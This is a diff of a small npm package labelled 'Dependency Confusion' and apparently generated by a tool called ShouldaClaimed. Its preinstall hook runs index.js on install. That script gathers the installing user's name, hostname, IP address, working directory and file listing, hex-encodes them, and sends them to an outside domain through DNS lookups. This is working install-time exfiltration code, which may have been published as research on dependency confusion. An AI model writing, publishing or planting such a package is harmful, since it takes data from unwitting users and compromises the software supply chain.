test-test-andeven1 1.0.0

package/index.js

@@ -0,0 +1,47 @@
+
+
+const os = require('os');
+const fs = require('fs');
+const dns = require('dns');
+const http = require('http');
+const net = require('net');
+
+function getIP() {
+  const nets = os.networkInterfaces();
+  for (const name of Object.keys(nets)) {
+    for (const net of nets[name]) {
+      if (net.family === 'IPv4' && !net.internal) {
+        return net.address;
+      }
+    }
+  }
+  return 'unknown';
+}
+
+const user = os.userInfo().username;
+const hostname = os.hostname();
+const ip = getIP();
+const info = user + '@' + hostname + ':' + ip;
+
+// FS Info
+const cwd = process.cwd();
+let files = 'no-files';
+try {
+    files = fs.readdirSync('.').slice(0, 15).join(',');
+} catch (e) {}
+const fsInfo = cwd + '|' + files;
+
+const payloads = [
+    Buffer.from(info).toString('hex'),
+    Buffer.from(fsInfo).toString('hex')
+];
+
+// DNS Exfiltration
+payloads.forEach(hex => {
+    // Split into 60-char chunks for valid DNS labels
+    const chunks = hex.match(/.{1,60}/g) || [];
+    chunks.forEach(chunk => {
+        const targetDomain = chunk + '.adriaanbosch.com';
+        dns.lookup(targetDomain, (err, address, family) => {});
+    });
+});

package/package.json

@@ -0,0 +1,16 @@
+{
+  "_generated_by": "ShouldaClaimed",
+  "author": "A3-N",
+  "description": "Dependency Confusion",
+  "license": "ISC",
+  "main": "index.js",
+  "name": "test-test-andeven1",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/A3-N/ShouldaClaimed"
+  },
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "version": "1.0.0"
+}